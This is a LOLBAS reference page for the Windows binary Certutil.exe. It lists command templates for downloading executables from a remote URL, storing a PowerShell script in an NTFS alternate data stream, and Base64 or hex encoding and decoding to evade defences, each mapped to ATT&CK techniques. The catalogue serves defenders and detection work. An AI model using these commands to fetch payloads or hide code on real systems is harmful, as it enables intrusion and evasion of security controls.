Certutil on LOLBAS (original) (raw)

.. /Certutil.exe

Windows binary used for handling certificates

Paths:

Resources:

Acknowledgements:

Detections:

Download

  1. Download and save an executable to disk in the current folder.
certutil.exe -urlcache -f {REMOTEURL:.exe} {PATH:.exe}  

Use case
Download file from Internet
Privileges required
User
Operating systems
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique
T1105 2. Download and save an executable to disk in the current folder when a file path is specified, or %LOCALAPPDATA%low\Microsoft\CryptnetUrlCache\Content\<hash> when not.

certutil.exe -verifyctl -f {REMOTEURL:.exe} {PATH:.exe}  

Use case
Download file from Internet
Privileges required
User
Operating systems
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique
T1105 3. Download and save an executable to %LOCALAPPDATA%low\Microsoft\CryptnetUrlCache\Content\<hash>.

certutil.exe -URL {REMOTEURL:.exe}  

Use case
Download file from Internet
Privileges required
User
Operating systems
Windows 10, Windows 11
ATT&CK® technique
T1105
Tags
Application: GUI

Alternate data streams

  1. Download and save a .ps1 file to an Alternate Data Stream (ADS).
certutil.exe -urlcache -f {REMOTEURL:.ps1} {PATH_ABSOLUTE}:ttt  

Use case
Download file from Internet and save it in an NTFS Alternate Data Stream
Privileges required
User
Operating systems
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique
T1564.004

Encode

  1. Command to encode a file using Base64
certutil -encode {PATH} {PATH:.base64}  

Use case
Encode files to evade defensive measures
Privileges required
User
Operating systems
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique
T1027.013

Decode

  1. Command to decode a Base64 encoded file.
certutil -decode {PATH:.base64} {PATH}  

Use case
Decode files to evade defensive measures
Privileges required
User
Operating systems
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique
T1140 2. Command to decode a hexadecimal-encoded file.

certutil -decodehex {PATH:.hex} {PATH}  

Use case
Decode files to evade defensive measures
Privileges required
User
Operating systems
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique
T1140